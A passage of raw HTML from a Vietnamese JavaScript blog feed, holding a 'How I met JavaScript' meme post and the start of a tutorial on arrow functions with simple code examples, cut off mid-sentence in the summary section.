style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQozwGfAmD9AK2lnKiZj6+jmKSZjqKYj6OZj52ShpSKfpmOg6eck6abkZ6ShpSKgYd8dZiNha2gkrOllr2voKmdkqqgmgDa1My0lYKoj3nWyr7CvrlpSTStbk2Wf2qSgnGYh3iWhXOcgmNCLx8DAQAiGBKEa1CJb1ODaU18Z1OBc2oA7OjhoI1/zLus4Mmrl4d2cEMry3dTto53ppqMqpqLppeHoIhsrnNWVTYoEQwIc11HeF9OgGZOk39omIqAAJ2KdX1wYqOUhLeaecS+tKp/aqtWM7iPdr+xnrWllaydjaiQcLZ0UrJhPohtYJqJc5B0V5mAYJeCapuNgwCWf2N4ZlaejX+ai4BuYl+Acm6+jnV5ZF+omo/IuKaxopSxnYahiXKoiHqMfH1eTUeSf26xnYaejHmekIUArJqFgG9fpZaIXFBPGxIYU0lLv7KocmdnYlRUrZyJkYFyiXlokIFxkYd9WEdESDQvW0pFh3hqf25ffm5dAMq+sY18bmdaWCAZHBwVF0g9QL6wqqaZk05DRWleVsK5sK6kmsfAuKebk0g2MUo4MlA+OVtLPk8/LGpYQgC6sqpvY18lHSAuKCYeGBovJiaein2HeHBMPTlvWE+7r6bMwbjGu7F0ZWBALypHNjFFMy51ZVtjVERjUT4ArqagWFBSPjY1Z15YGhYXPjQyrJaFcmRdaU5DgmZaVkhCVEM9SDk0RzgzUUA7STk0RDMvgnJpb2BRYlE+ANzX0cvIxcC+vr+9vb+/v8fFxNnU0cnHxcTExc3NzdrX1cC9vcPAwMPAwMXBwMfDw8K/vsvIxsXCv9jU0AD7+/z5+vr5+Pj29vf7+/v8/Pz19vf39vf7+/r7+/v29/f8/Pz6+vv39/j5+vr4+fn5+vr29vb29/j7/Py8e2PUgbQDCQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ảnh chế vui #2.2: how I met JavaScript - Parody" title="Ảnh chế vui #2.2: how I met JavaScript - Parody" src="/static/59caf46059394e50935df90fddf31348/7c811/how-i-met-javascript-2-completejavascript.com_.png" srcset="/static/59caf46059394e50935df90fddf31348/103f2/how-i-met-javascript-2-completejavascript.com_.png 165w, /static/59caf46059394e50935df90fddf31348/748ba/how-i-met-javascript-2-completejavascript.com_.png 330w, /static/59caf46059394e50935df90fddf31348/7c811/how-i-met-javascript-2-completejavascript.com_.png 660w, /static/59caf46059394e50935df90fddf31348/a27c6/how-i-met-javascript-2-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiklEQVQozxXLS2/SAAAA4A7KoLxLoZQCLaVv+uA1tkHZeJixjcJglPHYk7GByRI3HzPLdO7gwagnD2o8aDQxMbss8UeYGG/GxP9j/O4fkEzL02Hr4dHAj/r3jqZn5xf1joHiGKvmnt/8uv76Y3NygYcxQYwzApsp5pVc0o8FrZDTZncDHEM2a5WT0SAQQBe04t7osFgq+4Ookl18/eHmxas3er0+ria0OUHMqMp8hldELILbIIcVcgJdTaJEhc8skKKUWVqurulhiqE5bi7Nb1Zy3eGIo+mXg1wnz+E0k0jJjMBikbANcv7Pl8b8u0f9g259fLA3nUzOJmO9WooSMT8CoyEUJykP7FtJkcsKmc7NZ/N5kqERNGi1OiG7C3g8qH081b9ddH++vff70+XfL1d/Pj9Z15IhDEMDCMORMSrM81RC5nKFlJpWaZZled7lgm02J3CnsrpdL58b2vsT/fbKuH3avn3W+37dq2lJWuASCscKcZbE+0uSyBMYjgbREEWSCIxYbQ5AFiQpoaiyGiciUcQdhSEHaBouxh6sSQpPSKrIsAQVJzfyop6NocEABDlQ2Od2ui2zDoCLUwLDyIIQQv3pVHqltp7J5ipa4bRX21nNe7x2HPclVClKkkoEiUVx2ONx2+2I1wu7PYCxNVLlNOx22a1WDEV5jqcZPplMibwwNDr7+/t6Qzc6rc3WRrm03NTX281GsZD3Ou1EwAccHt8vFEqxGJOQM/libancaLQPWsZ4uaLX9fbuzvbuzvDu9Hirawz6/UGvNx6NiloB8bgYMgJYLeCs2USzSnahqpWbhZIuSGk8TPh8PjsEmU1m0Gw2mUxmM2ixzIJmcGZmBgQtCIJEicg/COuGhAuI5sYAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ảnh chế vui #2.3: how I met JavaScript - Parody" title="Ảnh chế vui #2.3: how I met JavaScript - Parody" src="/static/0ace3f7a1e0faa6947fcdad33b4d9e9c/7c811/how-i-met-javascript-3-completejavascript.com_.png" srcset="/static/0ace3f7a1e0faa6947fcdad33b4d9e9c/103f2/how-i-met-javascript-3-completejavascript.com_.png 165w, /static/0ace3f7a1e0faa6947fcdad33b4d9e9c/748ba/how-i-met-javascript-3-completejavascript.com_.png 330w, /static/0ace3f7a1e0faa6947fcdad33b4d9e9c/7c811/how-i-met-javascript-3-completejavascript.com_.png 660w, /static/0ace3f7a1e0faa6947fcdad33b4d9e9c/a27c6/how-i-met-javascript-3-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACcElEQVQoz02RXUhTYRjHd91F0FUkFUT2qacdnR9zm2ymZkqJGlEJEaYkmZWhFzINMYtSllLgBysQXK5MpQsjy2OsmVM0BCEqyCS1ed5zbFM38Wzn/ThvHE9Ef56L5+L5P7+H/6PDmNB1nq75ESZqT6kclRqqSrmhwfVgYMDdHQqt0S1hjBVF0XpZhhAiHUL499KPwNI8hAhCRCmdnposL7Q9umefHB162lT1wv3MXlfvcrmcTifHcW632+l84nA8DIc3dBAinhcAEGUZIqSSB3ucRelMY/XVt33dHne7f2F+RRSAIASDwdXVVZ7nARB4HiCEdRgT7RYN+21mor+9afxNf/31kktFJ25cvnCuIG9m/D2llBBM/xPGREeIalUUqhAVO/txuK+rpeNxW231TUuqIdNqPp6elm0193S2yFJYnSRqNFrpwuENAIRAILjwczESlV+5um5XluRlZuiZeHNqkik1yZKWsn9vTH5u9ij3TpahoigI4b9mUVzx+Xxe75jH45ma/tThuJNjOrY7Zier1z+or+nraO68W2uvuMjE7rIkM68HeilV0D8yAALHjXq9YyMjI37/8uSHYUddpf7IgRybqbm6rKWmrLetwdFYd74w57694suUF0YjhChYFVHTlqRINCpLUoRS+vXzbH6WMd2UnGmz7Ni+LXbfnhQDm2Y0skxcRfmVCd+4KIpb5i2yLMPNTQljoqW9/GvRbDjK6uOulRWfybMmJjCnT2YZWL05OSHbakpgE1tb27TXqGaMibYJIYwQCYVCZwtOMfGHSovzc20piSxjv1WeYWTjDh98+bx37vscAIBSqmX2B2c40ykHESKTAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ảnh chế vui #2.3: how I met JavaScript - Parody" title="Ảnh chế vui #2.3: how I met JavaScript - Parody" src="/static/4361ce2be76f9e7b757546cbc785b9b6/7c811/how-i-met-javascript-4-completejavascript.com_.png" srcset="/static/4361ce2be76f9e7b757546cbc785b9b6/103f2/how-i-met-javascript-4-completejavascript.com_.png 165w, /static/4361ce2be76f9e7b757546cbc785b9b6/748ba/how-i-met-javascript-4-completejavascript.com_.png 330w, /static/4361ce2be76f9e7b757546cbc785b9b6/7c811/how-i-met-javascript-4-completejavascript.com_.png 660w, /static/4361ce2be76f9e7b757546cbc785b9b6/a27c6/how-i-met-javascript-4-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACn0lEQVQoz2PI9zTeObkmy8/eRFnSXkdBR1ZUioNFXoBbRoDLQFX+4vyKA+3R8Q7evkbmoWZaBYHRPSVTswL8M2PyojycGLysDHPDvCpDbLyMlH2MVfQUxSOcNO20ZSW52AOsdO/PL7k0OS3dVdvVWE1XWkRVXDDczT3a3SzETt9BW4FBT1bMz1S10NcgwlYnzEw5wEo1Oy8w2sfIXV0kx8PkbHfy4drAyYkeUzO9akJt1aTEXA3U1KWENcT5bZWEGRIMpTJNVKL0VWs8Dcpc1IMMZHQ15MuDHRJt1TN9bVZluKzM9W7KCJwRZrQsxcHXUCnTSjnO3jDCQjPUTIVh68IJS3KTclUV0lwM2uIcJHnYbGSFLbW15OQUEuPil9ZkLujvMtQ3sFRXTHIxak50LvbQ8zLTVFeQ3l4VyHB0/dzlxVERuvJy4kK96S4y4iLK8vKy0jLyMrJzp01urqnoau+QEBWXkJTR19GcVBHWnuwiKybIyMRc5qXPsKK3ssNDsy01yN/eLMhCVUtZnoubR4CXz9rCcvXCOaXp8QtmThMSEBTgFxATlYi3N8t01hcV5nc21RLg5WLYtWpuRZRngr9HuLebjJyinLy8ipKCsoJCdFjoomkTStPil82ZoSAnb6Sjkedunmum5q6h6GVpuLMtrTXQkeHmjWsnjx/dsGHj+vXrd+/evXXLll279/VNnDp73sJbt+8eOHjoyPGTW3bsPnL02LNb147u2zN39qzFc2auWbH049PHDP/+/fv79+/Pnz/+/Pnz9++ff////3hw4cu5rT8vbvtz8+DPG4d+ntv09/L23/dO/f3379/////+///1+w+Y+Z8BQkEBmP3v7cP/r+78f33v3/sn/94/BTHePf73/eN/qF642n8AXUwmq3/lQMUAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ảnh chế vui #2.5: how I met JavaScript - Parody" title="Ảnh chế vui #2.5: how I met JavaScript - Parody" src="/static/b9cfcdf36c64b1a541bb50ff086dcaf5/7c811/how-i-met-javascript-5-completejavascript.com_.png" srcset="/static/b9cfcdf36c64b1a541bb50ff086dcaf5/103f2/how-i-met-javascript-5-completejavascript.com_.png 165w, /static/b9cfcdf36c64b1a541bb50ff086dcaf5/748ba/how-i-met-javascript-5-completejavascript.com_.png 330w, /static/b9cfcdf36c64b1a541bb50ff086dcaf5/7c811/how-i-met-javascript-5-completejavascript.com_.png 660w, /static/b9cfcdf36c64b1a541bb50ff086dcaf5/a27c6/how-i-met-javascript-5-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQozwGfAmD9AJWDcJ6TfY+Le6uXgr2df6uXg7Wqmsa4pMC0o9y+qdWkgtCgf6aEaLyihb2fhNG1l9vFpM7FtP7//+/l4QCYhHCKdV5bWVCmlYO3mX+QgG+rloOXiXyfjoG+oYzCnIDSqIOYeV2rimaRdF22l3Gxk3azl4ve3t2UiIYAgHNng21ZbVRAW0hEj2dZhWFSeGtkVEI3UExJkHBjaldPmHlfkG1VgGRTV0lAOCsiR0lWdniGLzI6OTEwAAsJCCAdHxwYGAkHDDE0RUA9RRISF2VeYRwaHnp1ejcxM1xFPIF5fTY1Py0pKEY7OFtshn6Pqg0KDCQcGwAFBQklHRwNCQoUFiBJUGUWGSNWVVleYWwlJCi7v8k2NjkkIyWYnalJS1IUFBkPDhZwhaSAl7khIScDBAcABgUGFhEQBwYHCw0WJSk5Dg4UKCkwDw4SDg0PGBgdJSYvTU1NJicvGxoiExEVEA8WKC8/Iyo6BwcLBQQHAAgICRAQFAkJDBEPDx4iMgYHDQsMEy4wOjQ0NQAAAB0YGDIqKQkKEyssNhgXGREQFB0fKQgHCwkHBwgHCQAYGBobGx0DAwUXFRcWFx8RFB4HBwgjJClMTE8cGx8nJilEREYCAgkuMDkyMjQZGBkpKzQODxYTEBAZGBoAEBEVNzY5Xl1fYWJjGxodTU1RZWRmZmVnkZGVYF9hcHBzmZmcYWFjZmdsZ2dpXl5geXl+WlpePDw+BwcIADk5PElJTIyMjo6PkmVlaIiIiomJi4aHiYeGiX59gIiIioqLi4CAgURESGdoa3h4fGNjZVhXWUJCRSIhIwCCg4h3eHxgYGRfX2JZWVx1d3p8fYFoaWxQUFJQUVRbXF5zdHdwcnZPT1ReXmNnaGxTVFdpam52d3xbW2ATPtV03LMZcQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ảnh chế vui #2.3: how I met JavaScript - Parody" title="Ảnh chế vui #2.3: how I met JavaScript - Parody" src="/static/0333ef6a74412e8f496a2a233c4de3c1/7c811/how-i-met-javascript-6-completejavascript.com_.png" srcset="/static/0333ef6a74412e8f496a2a233c4de3c1/103f2/how-i-met-javascript-6-completejavascript.com_.png 165w, /static/0333ef6a74412e8f496a2a233c4de3c1/748ba/how-i-met-javascript-6-completejavascript.com_.png 330w, /static/0333ef6a74412e8f496a2a233c4de3c1/7c811/how-i-met-javascript-6-completejavascript.com_.png 660w, /static/0333ef6a74412e8f496a2a233c4de3c1/a27c6/how-i-met-javascript-6-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="how-i-met-javascript" style="position:relative;"><a href="#how-i-met-javascript" aria-label="how i met javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How I met JavaScript</h2> <p>The story is about <em>How I met JavaScript (How I met your mother parody).</em></p> <p>In the beginning, JavaScript seems to be cluttered.</p> <p>But when I learned it carefully and deeply, it would become more easily.</p> <p>With JavaScript, you can do some font-ends, back-ends, mobile apps, desktop apps,...(<a href="/javascript-la-gi/">more details</a>)</p> <p>Like Barney Stinson usually said:_ It's gonna be Java - wait for it - script. JavaScript._</p> <p>Finally, I decided to stick with <a href="/javascript/">JavaScript</a>.</p> <p>That's <em>how I met JavaScript</em>.</p> <p>See you in the next post, thank you!</p> <h2 id="similar-posts" style="position:relative;"><a href="#similar-posts" aria-label="similar posts permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Similar posts</h2> <ul> <li><a href="/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay/">Ảnh chế vui #1: Cách lập trình viên chạy hằng ngày</a></li> <li><a href="/anh-che-vui-2-code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang/">Ảnh chế vui #2: Code anh không có bug, tất cả chỉ là tính năng</a></li> <li><a href="/anh-che-vui-4-people-life-vs-programmer-life/">Ảnh chế vui #4: People life vs Programmer life</a></li> <li><a href="/anh-che-vui-5-specialist-vs-generalist-winner/">Ảnh chế vui #5: Specialist vs Generalist – who is the winner?</a></li> <li><a href="/anh-che-vui-6-type-programmer/">Ảnh chế vui #6: A type of programmer</a></li> <li><a href="/anh-che-vui-7-ip-man-4-phien-ban-lap-trinh-vien/">Ảnh chế vui #7: IP man 4 phiên bản lập trình viên</a></li> </ul>[email protected]<![CDATA[Arrow function là gì? Arrow function trong JavaScript]]><![CDATA[Ngoài function declaration và function expression, JavaScript còn có arrow function. Trong bài viết này, mình sẽ trình bày về arrow function là gì và cách sử dụng arrow function cơ…]]>https://completejavascript.com/arrow-function-la-gi-arrow-function-trong-js/https://completejavascript.com/arrow-function-la-gi-arrow-function-trong-js/<![CDATA[Hàm]]><![CDATA[ES6]]>Wed, 10 May 2017 09:00:00 GMT<p>Ngoài <a href="/ham-la-gi-ham-trong-javascript/">function declaration</a> và <a href="/function-expression-trong-javascript/">function expression</a>, JavaScript còn có <strong>arrow function</strong>. Trong bài viết này, mình sẽ trình bày về arrow function là gì và cách sử dụng arrow function cơ bản.</p> <blockquote> <p>📝 Ngoài ra, mình có bài viết về <a href="/phan-biet-arrow-function-va-function-trong-javascript/">phân biệt arrow function và function</a>. Để hiểu bài viết này, bạn cần biết thêm nhiều kiến thức như <a href="/object-la-gi-object-trong-javascript/">object trong JavaScript</a>.</p> <p>Đó là lý do mình tách riêng ra bài viết khác.</p> </blockquote> <h2 id="arrow-function-là-gì" style="position:relative;"><a href="#arrow-function-l%C3%A0-g%C3%AC" aria-label="arrow function là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function là gì?</h2> <p>Arrow function trong JavaScript là hàm sử dụng kí hiệu <code>=></code> để định nghĩa, với cú pháp cơ bản như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">func</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span><span class="token operator">...</span><span class="token punctuation">,</span> argN</span><span class="token punctuation">)</span> <span class="token operator">=></span> expression<span class="token punctuation">;</span></code></pre></div> <p>Hàm trên nhận danh sách tham số là <code>(arg1, arg2,..., argN)</code>, sau đó thực hiện biểu thức <code>expression</code> rồi <code>return</code> về kết quả của biểu thức <code>expression</code>.</p> <p>Nói cách khác, đây là cách biểu diễn rút gọn của biểu thức hàm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">func</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span><span class="token operator">...</span><span class="token punctuation">,</span> argN</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> expression<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Ví dụ sử dụng arrow function trả về tổng của hai số:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> <span class="token function-variable function">sum</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> a <span class="token operator">+</span> b<span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Hàm <code>sum</code> nhận vào hai tham số là <code>a</code> và <code>b</code>. Sau đó, hàm này tính tổng <code>a + b</code> rồi trả về giá trị tổng đó.</p> <p>Nếu arrow function có một tham số thì bạn có thể bỏ qua cặp dấu <code>()</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">let square = n => n * n;</code></pre></div> <p>Trường hợp, arrow function không có tham số nào, thì bạn nên viết cặp dấu <code>()</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHello</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="sử-dụng-arrow-function" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-arrow-function" aria-label="sử dụng arrow function permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng arrow function</h2> <p>Arrow function có thể được sử dụng giống như function expression.</p> <p>Ví dụ khởi tạo hàm dựa trên điều kiện:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> isVietnamese <span class="token operator">=</span> <span class="token function">confirm</span><span class="token punctuation">(</span><span class="token string">"Bạn có phải người Việt Nam không?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> welcome <span class="token operator">=</span> isVietnamese <span class="gatsby-highlight-code-line"> <span class="token operator">?</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Chào bạn!"</span><span class="token punctuation">)</span></span><span class="gatsby-highlight-code-line"> <span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token function">welcome</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ sử dụng arrow function làm hàm callback:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">ask</span><span class="token punctuation">(</span><span class="token parameter">question<span class="token punctuation">,</span> handleYes<span class="token punctuation">,</span> handleNo</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> answer <span class="token operator">=</span> <span class="token function">confirm</span><span class="token punctuation">(</span>question<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>answer<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleYes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token function">handleNo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">ask</span><span class="token punctuation">(</span> <span class="token string">"Bạn muốn tiếp tục thực hiện chương trình không?"</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"You chose Yes!"</span><span class="token punctuation">)</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"You chose No!"</span><span class="token punctuation">)</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="arrow-function-với-nhiều-dòng-code" style="position:relative;"><a href="#arrow-function-v%E1%BB%9Bi-nhi%E1%BB%81u-d%C3%B2ng-code" aria-label="arrow function với nhiều dòng code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function với nhiều dòng code</h2> <p>Trong các ví dụ trên, thành phần <code>expression</code> chỉ là một dòng code. Tuy nhiên, bạn cũng có thể viết nhiều dòng code bằng cách đặt chúng vào trong cặp dấu <code>{}</code> và sử dụng từ khóa <code>return</code> để trả về giá trị.</p> <p>Ví dụ arrow function tính tổng hai số với nhiều dòng code:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sum</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Vậy 